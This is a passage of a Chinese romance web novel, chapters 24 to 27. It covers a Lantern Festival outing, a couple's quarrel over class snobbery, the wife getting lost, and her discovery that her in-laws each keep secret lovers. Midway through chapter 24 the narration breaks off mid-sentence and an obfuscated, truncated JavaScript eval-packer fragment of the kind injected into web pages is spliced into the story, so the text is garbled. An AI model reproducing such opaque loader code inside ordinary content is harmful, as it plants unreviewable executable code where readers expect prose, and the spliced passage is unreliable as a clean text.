气脉相连,如此方可使你起死回生,”张大人欣慰笑道,“老夫原觉得条件苛刻,是不可能实现,如今小公子不仅病好了,并且面色红润,想必是娶到了那位与您天造地设的好夫人。当时你病得只差一口气咽不下去了,那姑娘都愿意嫁你,你日后万不可辜负。” 徐寂宁生硬地点了点头,他不记得怎么跟张大人告别的,只觉得毛骨悚然——张大人说的鬼神卜卦之流他不太信,他只听出母亲为他订亲给他冲喜了,那时他快死了,母亲却还想着把一个活生生的女孩塞到他身边,他只感到后怕,倘若他真的病死了,那与他有了婚约的南有音…… 他没再去官署,而是跑去了徐夫人屋里,质问他的母亲,怎么能凭借几句毫无根据的话就擅自拖一个无辜的姑娘下水,他说他知道母亲满眼规矩礼制,却不知道母亲也是三姐徐静祺口中那种吃人的权贵。 徐夫人脸白了,她没有否认徐寂宁,她那时确实是独孤一掷,她也不知道钦天监的张大人说得是不是真的,但她想要小儿子活下去,于是她在徐寂宁在病榻上奄奄一息之际,做主达成了他和南有音的婚约。 所以她总觉得愧对南有音,愧对南氏夫妇。 “可我那时真的没有办法了,静祺死了,你父亲和我无论如何也不能再失去孩子了。” 那时的徐寂宁还不能理解母亲的歇斯底里,直到后来有一天,他也开始向着神明许愿,方才体会母亲那时的走投无路与无奈。 “有音是个好姑娘,”徐夫人声音沙哑,“你父亲去跟南老爷提亲时说起过你病得很重,但她还是说愿意嫁给你。” 最后,徐夫人像往常一样叮嘱道:“你要对她好。” 徐寂宁回到他和南有音的卧房时有些失魂落魄。他们的房间换了好几次被褥,终于不再满眼是囍字和大红色了,而是变成了南有音喜欢的风格,今天南有音又换了一次被褥,新被子上绣着红红绿绿的花,徐寂宁没有心思去理会这些俗不可耐的花纹,他望着倚在床上翻书的南有音,无力开口。 最后是南有音先发现了徐寂宁的不对劲儿,她关切问道:“你怎么啦?出什么事了?” 徐寂宁坐在床边,无力道:“有音,你为什么要嫁给我?” 然后南有音说出来那个他听了无数次的答案:“因为喜欢呀。” “可我当时病得快要死了,你怎么能答应嫁给我呢?”徐寂宁嗓音里带着连他自己都不曾察觉谴责意味。 “可是我听说如果我嫁给你,你的病就会好了。” 徐寂宁觉得他某些柔软的部位被戳了一下,这一下耗光了他所有的力气,他的声音变得很小,很虚,好像底气不足一样:“那些鬼神卜算之说怎么能当真……” “可是万一呢,万一那是真的呢?” 徐寂宁觉得嘴里像是啃了没熟地苹果一样,又苦又涩:“可是有音,万分之一啊……” “万分之一我也愿意呀。”南有音眼睛亮亮的,比床头的烛火还要亮,漂亮的黑色眸子宛若明星聚集的夜空。 徐寂宁沉默了很久,再次开口时呢喃般的话语里充斥着愧疚与怜悯:“有音,你不该答应的,我们之间……什么也没有啊……” “怎么会呢?我们是夫妻,或许算是。” 南有音着重强调了最后四个字,徐寂宁则苍白地笑了一下。 24. 花灯 正月十五这一天天气很好,南有音心心念念着要出门看花灯,但她不敢主动跟太太提要求,她让徐寂宁去说,徐寂宁也不去,他让大哥徐缄平去说,他说大哥去跟太太说什么事太太都会答应。 南有音问:“为什么?” 徐寂宁无奈道:“二哥说大哥说话圆融,太太乐意听他的话,二哥说我不说话还好,一说话就不知变通退让,容易跟太太吵起来。” 徐缄平顺利完成了徐寂宁交给他的任务,太太同意大家晚上出去看花灯,于是用完晚饭,徐府的人浩浩荡荡地上街了,先是大哥一家,徐缄平宋知落各走各的,小乙和小甲跟徐太太留在家里,太太说街上人多小孩儿容易走失,没让他们出去,然后是二哥徐默安,他对花灯没什么兴趣,只是被太太强行赶了出来,太太让他别眼里只有书,好歹去街上看看,沾沾烟火气,最后是南有音和徐寂宁,还有松梯,南有音大手一挥给院子里的丫鬟们放假了。 南有音很激动,拉着徐寂宁走得飞快。京城最热闹的街上每逢元宵中秋都有花灯,往年南有音都是跟弟弟南玉振一块来,南有音估摸弟弟今年大概会一个人来,她踮起脚伸长脖子,想看看人群中有没有南玉振的身影。 但街上的人很多,天色又暗,南有音不仅没找到南玉振,还被行人撞了一个趔趄,走着走着人流便将她与大哥他们走散了,只剩下徐寂宁还跟她一块。 南有音说她要把街上的花灯都看一遍,把街上的商铺也都逛一遍,这样才对的里临行前太太偷偷塞给她的那把碎银子。 徐寂宁脑袋嗡嗡的,他丝毫不怀疑南有音真的能把整条街里里外外逛遍,上次跟着南有音看梅花脚上磨出的水泡刚好没多久,一听南有音扬言走遍整条街,他只觉得心里打怵,脚腕子发软。 但徐寂宁还是陪着南有音慢慢地闲逛甚至还买了一只孔雀形状的花灯送给南有音。 他们往前走,街道两边和头顶巨大的花灯不断向后退去,在乌黑的夜幕中发着光,如同深海中的巨大游鱼。 在一个巷子的转角处,南有音闻到了食物的香气,当机立断,拉着徐寂宁往布满小吃摊的街上去了。 她站在一个卷饼摊前面停住不走了,徐寂宁实在搞不懂那张卷着菜和酱料的饼有什么吸引力,南有音让他尝了一口,葱花等辛香料味道很重,而且饼皮又厚又硬,还是粗粮的,他咽不下去,吐了。 南有音生气地说他暴殄天物,徐寂宁则说这玩意儿难以下咽。 南有音很吃惊,但她转念想起了徐寂宁头一次去自己吃饭时的挑剔劲儿,问道:“不是,你不至于是真的咽不下去吧?” 徐寂宁点头,说香料味道难闻,面食也粗糙到拉嗓子。 南有音忍不住说京城公子哥儿果然娇生惯养,在乡下这种粗粮也珍贵得很,大家吃起来都很香。 徐寂宁很奇怪:“乡下与京城口味差这么多吗?竟会爱吃这种粗糙面食。” 南有音说是因为乡里的人没有能力吃细粮。 徐寂宁挑了挑眉毛,不置可否,他说乡下人都种粮食,每年能出不少细粮,怎么会没有细粮。 南有音有些不满:“还不是都纳赋税,交给你们这些人吃了。” 徐寂宁反驳道:“这怎么可能,本朝体恤百姓,赋税不过取十之二三而已。” 南有音嘀咕道:“果然还是京城锦衣玉食好,一辈子吃饱穿暖,都不晓得农家的苦楚。” 徐寂宁不以为然,他表示在京城一样的辛苦:“做官也一样的辛苦,不到卯时就要上朝,天不亮就起了,我和大哥他们上朝时你都还在睡梦中呢。” 南有音道:“百姓一年到头背朝黄土面朝天,留下的汗赶得上做官的蘸的墨了。” 徐寂宁摇头:“为官虽然不至于风吹日晒,但也日日将脑袋挂在裤腰上,毕竟常言道‘伴君如伴虎’。” 南有音没好气地说:“可是你们至少吃得好穿得精致,只说你身上一件衣服,就够寻常人家一年的开销,还好寻常百姓不像你一样挑剔,不然早就饿死了。” 南有音啃着她的杂粮卷饼,吃得很香,她愈发烦厌徐寂宁的挑剔精致了,甚至暗暗赞同起弟弟南玉振关于京城纨绔的说法了。 她和徐寂宁继续走,直到南有音在一个泥人摊子前面停下了脚步,她挑挑拣拣,从中选了一个憨态可掬的小老头。 徐寂宁认为南有音的挑挑拣拣完全是多此一举,在他看来,这些泥巴捏的玩意儿一样的丑。 “丑?”南有音不太满意,她把泥人塞进徐寂宁怀里,让他好好瞧瞧。 徐寂宁拿着泥人,左看右看,只觉得泥人身上那件大红大紫的衣服颜色晃眼,他难以相信地问道:“你觉得这种配色好看?” “怎么了?”南有音不觉得有什么问题,“在乡里,只有逢年过节大家才舍得穿这种鲜亮衣服呢,我小时候一直想有一件呢。” 徐寂宁轻哼一声,薄唇微启,冒出了“俗不可耐”四个字。 南有音打抱不平道:“你们京城的达官显贵喜欢清淡深远,我们百姓就喜欢热烈张扬,怎么就成了俗?” 徐寂宁摇头,说起了雅俗之别:“但拿绘画来说吧,民间绘画镂彩错金多匠气,士人画则简淡平远多有文气。” 南有音不懂赏画,听得有些发愣,但最终她还是听明白了徐寂宁的意思——民间工匠文化少,所以作品往往俗气粗糙,不如他们士人的高雅风尚。 南有音觉得不是很舒服,可能是因为她在徐寂宁的语气里发现了他暗藏的高低贵贱之分,也可能因为她隐约察觉到徐寂宁身上也带着京城贵族子弟特有的那种习气。 总之她有些生气了,她不想听徐寂宁继续说下去了,她愤怒地加快了脚步,把徐寂宁和那些阳春白雪与下里巴人的言论甩在身后,一直走到了一个自己不认识的巷子才停下,她下意识扭头去找徐寂宁,却发现在身后一片的人山人海中早没有徐寂宁的身影了,她跟他也走散了。 她凭着记忆原路返回,却怎么也回不到刚才那个买泥人的摊位,她站在陌生的巷子里有些茫然,继而被人群裹挟着,漫无目的地走着。 走着走着,她看到了松梯,松梯一个人坐在街道的台阶上,好像无所事事,南有音很开心,她总是碰见熟悉的人了,她打算跑去跟松梯说两句话,跑到一半却发现松梯不远处是她的弟弟南玉振,南玉振明显也看到松梯了,他好像有些惊喜,悄悄走到松梯身后,伸手拍了一下她的肩膀,属实吓了松梯一跳,两人说了几句话,然后松梯温顺地微笑,跟着南玉振看花灯去了。 南有音躲着没上前去,她还没想好如果弟弟问起徐寂宁她该怎么说,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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宋知落面前站着一个男人,长相相当的英俊,浓墨重彩的五官让南有音觉得似曾相识,几乎是一瞬,她就想起了两个侄子,尤其是小甲,简直与这个男人一模一样。 南有音目瞪口呆,接着许多片段闪电般闪现在她的脑海,她骤然想起昨日钦天监的张大人说小乙需要多见见亲生父亲时众人的尴尬神色。 “难道他们也都知道……”南有音木木地看着桥头的宋知落与那个英俊的男人。 男人不知说了些什么,逗得宋知落一直在笑,娇羞又明媚,都不像南有音的大嫂了,而是像站在喜欢的人面前的活泼少女。宋知落笑弯了腰,男人就伸手搀扶,两人亲密地依偎在一起。 南有音回过神来,合上自己因为惊讶而张开的嘴巴,她一时都说不出自己是什么心情,她竟为宋知落也同徐缄平一样另有自己的爱人而感到宽慰。 至少这样大嫂也不算太孤单了,她这样想着,打算转身离开,但她动作还是慢了一步,很不巧的与宋知落对上了目光。 宋知落很是慌乱,立刻从男人的怀抱逃了出来,但男人握着她的手没有松开,依旧是十指相扣。 南有音为自己打断了爱人间的亲昵感到一点愧疚,她大方地走上前去,开朗一笑,冲着那个英俊的男人说道:“我是知落的弟妹,有空请多来府上坐坐,我和小甲小乙关系很好呢,小乙需要见一见你。” 然后她冲着宋知落眨了眨眼,告诉大嫂不必忧心,自己仍然还是她的朋友。 25. 迷路 南有音继续沿着河面走,她被人潮的裹挟着,漫无目的地前进,街上摆满了花灯,挤满了人,她仍觉得一切空空荡荡,寒风一吹,她感觉连自己也空空荡荡的,空荡到只剩一件衣服壳子,要被风卷走了。 她脑子闷闷的,不知道该如何思考了,先是徐寂宁,然后是大哥徐缄平,接着是大嫂宋知落,她眼前人影变幻,一会儿是大哥身边的温和青年,一会儿是牵着大嫂手的那个英俊男人,一会儿是徐寂宁。 她一面走,一面一遍又一遍的抽取自己的记忆,回忆中的蛛丝马迹串联成线,她只感到有什么好像在无声中轰然倒塌了,大哥还有大嫂,甚至还有徐寂宁,好像都跟她原本想象的不太一样。 她呆呆傻傻地沿着河道走了很久,猛然发现周围的行人越来越少了,于是调头往回走,但她不认识来时的路,只好凭着直觉走街串巷,然后,她在花灯中间迷路了。 她不知道现在是什么时辰了,只知道周围的游人越来越少,花灯也渐渐熄灭了,街上越来越黑,她害怕起来,脚步越走越快,心里期望快点碰见个她认识的人。 但她的这个愿望落空了,她走了好久,一直走到花灯几乎全部熄灭,小商贩们也都收摊了,她还是谁也没遇到,她没找到回去的路,疲惫地坐在一家酒肆门口的台阶上,抱着膝盖,脑袋低垂着,酒肆门头处挂着的两个大红灯笼,散发的微弱红色光芒,照映出她的影子,孤孤单单,摇摇晃晃。 她又冷又怕地蜷缩了一会儿,然后听到街道上传来了脚步声,她抬眼望去,两只大眼睛像是摄走了灯笼的光一般,陡然亮了起来,来的是她认识的人,二哥徐默安。 南有音立刻跑了过去,喊道:“二哥!” 徐默安提着一盏灯笼走了过来,温和笑道:“寂宁说你一直没回去,央我和大哥出来找你。” 南有音望着徐默安这张与他的兄弟酷似的脸,有些不自在,说道:“我迷路了,走了好久都找不到回去的路。” 她和徐默安并排走,两人一句话都没说。 徐默安先打破了沉默:“你怎么了,一句话也不说,不像是你的作风,怎么了吗?” 南有音向来很难藏住话,既然徐默安问了,她嘴唇嗫嚅了几下,说道:“大哥的事,大家都知道吗?” “大哥的事?你是说他和小崔太史的事?”徐默安丝毫没有惊讶,用一种叙述晚饭吃了什么的平静语气说道,“这件事我们都知道的,太太也知道,怎么,你也看出来了?” “我看到他们两个……”南有音声音越来越小,“还有大嫂,她,她和……” “知落和薛大公子驰光,”徐默安温和道,“这件事我们也都知道。” 南有音结结巴巴道:“那小甲,小乙,他们是不是……” “他们确实不是大哥的孩子。”徐默安平和地说道,“大哥自小不喜欢女人,知落与薛驰光青梅竹马两小无猜,只是知落的父亲想与我们徐家结亲,便硬要棒打鸳鸯,大哥和知落都抵不住父母之言,只好成婚。我和四弟都还记得,成亲那日,知落两只眼肿着,大哥脸上强行挂着笑,叹气声却停不下来。” 南有音在得道确切答案后又一次愣住了,那种轰然倒塌的感觉又一次出现了,她拼命眨巴眼睛,尽力消化今夜的所见所闻。 “抱歉。”徐默安轻声道,“我们没打算故意瞒着你,寂宁找我商量过要不要告诉你,那时我不知道你能不能接受,让寂宁先别告诉你,想着等你自己慢慢体察或许能好受些。” 南有音苍白着脸,小小笑了一下:“还好,就是有点太突然了。” 她幸庆找到她的人是二哥,如果是大哥的话,她现在不知道该同他相处。 她的庆幸之存在了小小一会儿,因为她意识到她总归还是要面对徐缄平与宋知落的,这一对貌合神离各自另有爱人的夫妻。 于是她向徐默安求助:“二哥,我知道了这些,我怎么再跟大哥和大嫂相处……” 徐默安温和道:“有音,你会评判他们吗?” “我不知道,我刚刚迷路的时候已经想了很多了,我觉得他们不对,想指责他们,可我又觉得他们可怜,”南有音叹息着缓缓道,“大哥喜欢男子,知落心上另有他人,他们两个却被绑在一块儿了,都无法堂堂正在的跟真正的爱人相守,我一觉得他们可怜,就又不忍心再责怪他们了。” “我明白的,我也不忍心去责怪他们,”徐默安轻声道,“每当这时我总会想起静祺常说的话,徐静祺,我的三妹,你知道的吧,她总说自己是另一个世界的人,她说在她的那个世界,只有真正相爱的人才能结为夫妻,同时那些不相爱的夫妻也可以分开,我在想假如她说得那个世界真是存在,或许……” 徐默安摇摇头,带着南有音经过一道漆黑的巷子,明亮的月光洒在道路上,映得一片洁白轻盈,徐默安的声音听起来也是轻盈的,他继续温和说道:“有音,你不必忧虑如何相处,之前你如何与大哥和知落怎样,现在依旧便可,事情本就是这样,没有变化,只是你骤然发现了,你的心意变了而已。但你依然可以同大哥玩笑,知落也依然很喜欢你去她的院子里,我希望你不会有太多顾虑。” “事实本就如此,只是我的心意变了?”南有音喃喃重复了一遍,冷不丁想起了徐寂宁,今夜徐寂宁口中吐出的那些高高在上的话语让她觉得陌生,她不晓得是徐寂宁本就如此,还是只是她现下心意不似当年了。 她沉浸在心事里,又默不作声了。 但二哥徐默安好像能知道她在想些什么一样,他说道:“寂宁说他惹你生气了,是怎么回事?” 南有音有些犹豫,她不知道当着徐寂宁二哥的面说徐寂宁不好是不是不妥,但徐默安眼神柔和,周身散发着如同天上的月亮一般宁静又包容的气质,南有音脑子里又浮现出二哥不像凡人的念头,恍恍惚惚的,嘴里就把她与徐寂宁看花灯时的遭遇说了出来。 “二哥,他怎么能这样呢,他怎么能瞧不起……明明他身上的衣食乃至俸禄,都是从百姓手里得来的……”南有音说不下去了。 “寂宁没有出过京城,恐怕去过的最穷的地方是南家,抱歉,我没有什么贬低南家的意思,”徐默安缓和地说道,“他全然不懂百姓生活,也不懂蝼蚁般的人生,他所有的知识都只来自他读的那些书与他接触的人,而他接触的人又大多是跟他一样的官宦世家,所以他难免有些不自知的高高 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南有音埋头继续走,她看到前方有两个人,月光将两人的影子拉得很长,几乎纠缠在了一起,她认出那两个人是大哥徐缄平与小崔太史。 她像往日一样冲着大哥打了声招呼,接着又觉得自己的招呼有些刻意的热情了,她感到心虚,不知道大哥和他身边的小崔太史发现了没有。 但徐缄平依旧同往常一样,他没有发现南有音的不自在,而是展开搭在臂弯上的斗篷,轻轻披在了她的身上。 他温声说道:“夜深露重,当心受凉。” 毛绒绒的斗篷立领挡住了南有音的口鼻,也挡住了夜里的寒风,南有音觉得暖暖的,她反应不过来似得愣愣盯着大哥,然后又看向大哥身边的人。 徐缄平则说道:“这是崔润础,寂宁他们常说的小崔太史。” 小崔太史相貌非常的和善,眼下两条清晰的卧蚕,显得他总是笑意盈盈,南有音不是很自在地同崔润础打了个招呼,他也温和地点了点头。 “默安,”徐缄平转头对二弟说道,“你快送有音回去吧,我今夜不回去了。” 徐默安则用一种暧昧的腔调肆无忌惮地玩笑道:“那你和小崔太史玩得好点儿。” 南有音已经知道真相了,他的玩笑便没有顾忌她也在场。 徐缄平好像被二弟捣了一拳一样震惊,他先是看了看二弟,然后看向南有音,最后又看向二弟,二弟则轻轻点了点头,证实他心中的猜想。 徐缄平望着南有音,那双徐家兄弟都拥有的细长眼睛里充满了慌乱,向来稳重的他头一次在南有音面前结巴了:“你,你知道了……” 在南有音轻微点头地瞬间他挪开了视线,他低着头,不敢看南有音,似乎有些愧疚,高大的身影很是局促。 南有音被裹在斗篷里,温暖的感觉从斗篷一直流淌到她的四肢百骸,她知道这是大哥的关爱,她笑了笑,露在斗篷外面的一双眼睛弯成月牙,学着二哥说道:“大哥,你们玩得开心。” 徐缄平抬起头,苍凉的眼神中似乎透露一点困惑:“有音,你——” “大哥,我们还跟以前一样的。”南有音也很温和,“真的。” “有音,”徐缄平苦笑了一下,“谢谢你。” 26. 长夜 告别了大哥和小崔太史,南有音与二哥继续走,穿过了一条小巷子,然后便来到了徐府门口的那条街,街上也有一个举着灯笼的人,那人往这边瞧了片刻,飞快跑来,手里的灯笼随着脚步一晃一晃的,映亮了来人的脸,是徐寂宁。 “二哥!有音!” 与南有音四目相对时徐寂宁感到讪讪的,毕竟不久前他刚惹火了南有音,他小声嘟囔道:“你可算回来了……” 南有音现在消气了,她跟二哥说了一通话,感到心里舒服多了,于是她对徐寂宁说道:“我走着走着迷路了,还好你没跟着我走,我都觉得累了,换成你腿早就肿了。” 徐寂宁则说:“我该跟着你走的,这样你就不会迷路了。” “看样子你们两个不打算继续置气了,”徐默安温和道,“早些回去休息吧。” 回到院子里,松梯还点着灯等着他们,徐寂宁让南有音先歇着,他先去跟太太回话,他垂头丧气地往外走,嘴上说自己肯定免不了一顿训。 徐寂宁走后,松梯从自己的箱子里找出一个泥巴捏出来的小人,南有音一眼认出这个泥人与她之前买下的那个徐寂宁嫌俗的小老头泥人出自同一家商铺。 “我在街上遇见玉振少爷了,他一直在找你,但没找到,他说要我把这个送给你,”松梯把小泥人递给南有音,“他说你一定喜欢。” 那个小泥人是一个笑得很和蔼的老太太,穿着红红绿绿的衣服,南有音把她自己买的那个掏出来,两个泥人摆在一起,倒像是一对儿老夫妻。 “还是玉振知道我喜欢什么,”南有音将两个泥人摆在了徐寂宁的书桌上,又转头问松梯,“今晚你们玩得开心吗?” 松梯说道:“很开心呀,玉振少爷请我吃了甜汤和冰糖葫芦,还跟我一块看了两次盒子灯,只是一直没碰上你,玉振少爷好像有些失望,少奶奶看到盒子灯了吗,好漂亮的。” 盒子灯三个字勾起了南有音一些回忆,她吞吞吐吐问道:“松梯,你知道大哥还有大嫂,呃,知落,他们两个……就是大哥和小崔太史,知落和……” 南有音说得含糊,但松梯一听就明白了,她轻声说道:“这些我是知道的。” 南有音大吃一惊:“不会全府上下除了我都知道吧!” 松梯连忙摆手:“这些事怎么能让全府的人知道,我只是过去跟在三小姐身边,她什么都告诉我,后来呆在太太身边,许多事也能知道个大概” 南有音忍不住道:“你怎么不早跟我说,你知道今天我看到大哥和小崔太史,还有知落跟薛家公子的时候,差点惊掉下巴了。” 她一边说着一边在镜子里照了照自己的下巴,检查它是否真的往下掉了几寸。 松梯立刻谦卑而温和地道起歉来。 “不不不,我不是怪你的意思,我只是太吃惊了,我原先只是以为大哥和知落只是有些客气而已,”南有音心里犯起了嘀咕,“说起来,我嫁过来之前还听说过二哥在朝堂上求皇帝退婚的事。” 南有音欲言又止,似有忧虑:“徐家该不会都是些怪人吧……” “宁哥哥他,不会也有什么奇怪的地方吧……”南有音骤然打了一个寒颤,“他该不会和大哥一样,不喜欢女人吧。” “寂宁,你——”徐太太望着小儿子的目光欲言又止,她遣散了身边的丫鬟,想单独问徐寂宁几个问题,这几个问题挂在她心头快要一整晚了,自从前几天她收到了亲家南夫人的信,她的心就忽的一下子悬起来了,南夫人在信里提到希望徐寂宁夫妇快点生个小孩,话里话外却在说徐寂宁没有碰过她家的姑娘。 “——你还没有碰过有音吗?” 徐寂宁一滞,点了点头。 徐太太想到长子徐缄平不碰女人的原因,心头一阵恐慌,声音都变得小心翼翼:“为什么?” 徐寂宁不知道该怎么说,只好沉默了。 徐太太却嘴唇颤抖,呼吸越来越急促,仿佛徐寂宁的沉默是默认了她未宣之于口的猜想。 “太太?”徐寂宁没说出什么一二三来,母亲却看上去天要塌了一样恐慌。 “你,你——”徐太太张着嘴,只重复一个字,愣是说不出后半句。 “我?”徐寂宁不知道母亲要说什么,但母亲脸上这般惊乱无助地神情他曾见过,过去大哥同母亲坦白时母亲就是这样的神色。 他忽然明白过来,急忙说道:“你是不是以为我和大哥一样?不是的,我和大哥不一样,我不喜欢男人。” 徐太太呼吸渐渐平稳了,她放下捂在胸口的手,脸色苍白,好像刚经受了一场拷问一样的筋疲力尽。徐太太会这样激动其实也不能完全怪她,她的儿女们在婚姻上确实不让人省心,她常说他们人和名字一样的古怪。 徐缄平不必多说,徐默安向皇帝讨的赏赐是为未婚妻子另择夫婿,徐静祺在世时总是嚷嚷什么自由恋爱,现在轮到了徐寂宁,不晓得他和南家姑娘是怎么回事,但好歹不是跟徐缄平一样,总归是有办法的。 徐太太松了口气,又说道:“你既然与缄平不一样,那为何成亲这么多天了,同有音依旧……” 徐寂宁垂下眼帘:“我与她又不怎么熟悉。” 他不知道该如何与她相处,总觉得一切清楚之前,缺乏情感基础的男女□□似乎不那么水到渠成。 徐太太没忍住轻笑一声:“你和她都是夫妻了,还有什么不熟?” 徐寂宁不知道该怎么回应母亲的话,他不知道他和南有音究竟是什么关系,大家说他们是夫妻,大家也说大哥和大嫂是夫妻,可徐缄平和宋知落却是最不像夫妻的两个人,大哥和大嫂只是被那些礼教捆在一起而已,他不知道他和南有音是不是也被什么东西捆在了一起。 离开母亲院子,提着灯往自己的院子去的路上,徐寂宁仍在思索。 他在想南有音甘愿嫁给随时会病死的他,又在想今晚南有音发火的模样,有些懊恼自己惹她不高兴,却又不明白为何她会不高兴,他不过就是说了几句粗粮难吃和当官辛苦的实话…… 院 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“大少奶奶和薛家大公子应该是前些年才有的联络,具体怎么我不清楚,”松梯皱眉回忆道,“我只知道大少奶奶肚子显怀后大少爷又跟太太说了一次话,不知道他用什么办法劝的太太,太太彻底什么也不管了,她的意思应该是只要别闹得京城人尽皆知,大少爷和大少奶奶两个爱怎样怎样。” “可是他们好像不在乎别人会不会发现。”南有音想起盒子灯绚烂烟花下相视一笑与浅浅一吻,想起河堤花灯下的言笑晏晏与十指相扣。 “不对,他们在乎……”南有音又困惑地想起宋知落看到她时的慌乱神情,以及大哥那时的落寞与惭愧,“可那是为什么?他们明明不愿旁人察觉,却仍在万人丛中与对方含情脉脉。” 松梯给不了答案,她温顺的眸子永远充满包容与温柔,她张开双臂,轻轻地抱了一下南有音:“少奶奶,今夜好好休息。” 在温暖的怀抱里,南有音在寒风中惊疑不定了一夜的心终于复归平静了,当那些惊讶或者惊吓褪去后,身体的疲倦占据了上风,她渐渐困得睁不开眼了,松梯替她掖好被子,悄悄离开了。 徐寂宁回到房间时南有音已经睡得很熟,他看着自己书桌上两个丑陋的泥人眼皮抽了几下,最终没说什么,蹑手蹑脚爬上床,然后躺下,拉起那床花花绿绿的被子盖在自己身上,忍不住纳闷南有音的审美取向怎么这样差,她好歹也是官宦人家出身,怎么跟乡野村夫一样。 夜半时分,徐寂宁被南有音的说话声惊醒了。 南有音在说梦话,她急切地说:“我知道为什么了!他们真心相爱,所以情到浓时总是情不自禁。” 徐寂宁在琢磨南有音这是梦到了什么,却忽然听到她的质问:“那我们呢宁哥哥?你总是躲开我的目光,也从不与我十指相扣……” “我们算什么呢?”南有音的梦呓声音渐渐低了下去。 徐寂宁在黑暗中盯着床帏,很久都不能再次入睡。 27. 逢春 正月过后,渐渐地冬去春来,燕子归来,柳树抽芽,南有音院子里的樱桃树开满了小小的白色花朵,她站在树底下,仰头去看蓝天,天空被树枝割得支离破碎,她想了想,算了算,徐寂宁快两个月没回过家了。 这次官署劳碌大概是真的,就连在天天呆在徐府的南有音都不知道从哪得来消息,知道朝廷要做些大动作,清查土地和人口。 徐寂宁不在府上地日子里南有音倒也不至于深陷相思之苦之类的,她时不时去宋知落哪里,跟两个小侄子玩上一会儿,她与大嫂宋知落的关系还跟往常一样,宋知落为她烹茶,她则逗得她用帕子捂着嘴轻笑,每每宋知落笑,南有音总会想起花灯河畔。 宋知落对着她笑,像是大姐姐对着小妹妹一样,温柔和善,而花灯河畔下那种明媚的笑好像只会在那个所谓的薛大公子面前出现。 南有音在徐府闲来无事,便隔三差五地带着松梯往南家跑,徐寂宁不在时,南玉振的讥刺嘲讽少了很多,三个人一块玩牌喝酒,一块去看零落成泥的梅花,次次都玩得尽兴,只是南玉振总不满松梯称呼他为“少爷”,最后搞得松梯很是为难的。 后面南有音不频繁往南家跑了,转头研究起院子里的植物,天天搞起园艺来。 她淘换了好多花种子花苗,天天扛着锄头,在院子里松土播种,终于功夫不负有心人,临近清明,南有音的院子已成花海,她每日逐个清点含苞待放与正粲然怒放的花,每日花大量时间修剪那些残花败叶,为徐寂宁什么时候回家一趟而感到着急,因为他再不回来就看不到满院子的花了,她想想抓个人炫耀一下她初春的劳动成果。 春天一来,整个徐府都郁郁葱葱起来,南有音不光忙着照顾自己院子里的花,也天天在府里闲逛,看看徐府中的花花草草。最漂亮的还得是太太的院子,有一棵巨大的白玉兰,还有很多海棠,但南有音是不怎么敢造次徐太太的院子的,只敢往其他院子里闯,大哥院子里有一颗巨大的流苏,二哥院子里的桃花宛如云霞…… 南有音在偌大的徐府乱逛,忽然看到一个锁关着门的院落,院内的月季花沿着院墙蔓延到外面来了,金灿灿的一串,散发着扑鼻的茶香味。 南有音仅凭着半颗越狱的月季就断定这个院子的主人一定同她一样爱种花,她想进去看看,但院子门上挂着一把生锈的锁,她起了翻墙的念头,但院墙上的月季刺扎的手疼,只好作罢,她不抱希望的晃了晃那枚生锈的大锁,锁却啪嗒一声开了,仿佛在邀请她进去一样。 她推开院门,入眼的是一片荒芜而又绚烂的复杂景象,显然这里很久没有人居住了,青石板道路的缝隙中长满了杂草,台阶上布满苔藓,屋瓦残缺,在瓦片的缝隙里也长出了野草,甚至还开着黄色的小花,这些荒芜之中却仍有生气勃发,道路两边的庭院中芍药、水仙、剑兰、百合以及许多南有音叫不上名字的花草肆意地生长,因为缺少打理,那些花草或向上窜成了一只独秀,或纵横交错,缠绕得不分你我,蓬勃于乱象之中。 南有音对这个院子很好奇,可能因为这个荒败的院子与徐府的金碧辉煌有些格格不入。她三两步跨上台阶,试着推了推正厅的门,门咿呀一声开了,抖落出不少灰尘,南有音随手扑闪两下,走了进去。 屋内落了很厚的灰尘,但桌上的茶碗和翻开倒扣的书无一不显示出生活的痕迹,正当中还摆着一个花瓶,瓶里的花早就干枯的分辨不出品类了,轻轻一碰就化为尘土了。 南有音又推开卧房的门,从床铺以及书桌的布局来看,这显然是一个姑娘的闺房。 这个姑娘是谁呢?南有音在心底隐隐有了答案,当她发现床底有一个大大的竹箱时,这个答案愈发鲜明了,徐寂宁说他的三姐专门有一个竹箱子藏话本。 南有音用手抹掉竹箱子上厚厚的一层灰,然后用力掀开盖子,粉尘铺面,她呛得不停地打喷嚏,但这丝毫不影响她激动的心情。 她发现了整整一箱的话本子,满满当当的一箱子! 她感觉在徐府无聊的时光终于能有了消遣,她颤抖的手抓起一本,封面上写着“俏吴娘醉打张县令”,她草草翻了翻,其中的情节足够劲爆,她又拿起另一本,书名则是“野狐仙还魂续前缘”,情节吊轨离奇,结局出人意料,她又大致探索了一番,更难以平息激动的心情了,因为这满满一箱子的话本大多出乎意料的合她口味。 她兴高采烈地跑回自己的院子,叫人帮她把箱子抬进了自己的卧室。 清明前夕,繁重职务中的徐寂宁终于有空稍加喘息,在时隔近乎两个月,睡惯了官署床铺的他又一次回到自己的院子。 他最近累得不轻,精力像是被榨干了,眼底带着重重的黑眼圈,脑袋也嗡嗡的,像是塞了一团浆糊,他一回到家,便直奔卧室,松梯正在里面打扫,南有音不在,听说太太是找她说话去了。 尽管昏昏沉沉,徐寂宁还是一眼认出了那个摆在床头的竹箱,即便这个箱子暗黄发旧,不似原先一般碧绿油光。 他怔怔注视着竹箱,眼睛像是被这个箱子吸住了一样,许多荏苒光阴在他的脑海里打转,在过去他曾无数次见过三姐打开又关上这个竹木箱子,于光线下看见箱子顶上飞舞的尘埃。 他问松梯这个箱子是哪来的。 松梯说是少奶奶从三小姐屋子里搬来的。 徐寂宁很久没有去过三姐的院子了,他不敢去,总怕有什么会勾起那些渐渐被时间冲淡的哀伤,他仔细摩挲着竹木箱子,指肚划过竹子的条纹,像是是要从中寻找出往日的痕迹。 “过去三姐最宝贝这个箱子了,”徐寂宁微微笑着,眼尾眉梢却低垂着,他声音很轻很轻道,“她怎么会舍得抛下这些,抛下我们……” 他惆怅得好似一只挂在树上的断线风筝:“倘若她还在,她会怎么说我和有音呢……” 松梯说道:“少奶奶是很好的人。” 徐寂宁低声道:“我知道的。” “所以你不应该总是抗拒,”松梯主动劝慰,“或许可以试着接纳少奶奶。” 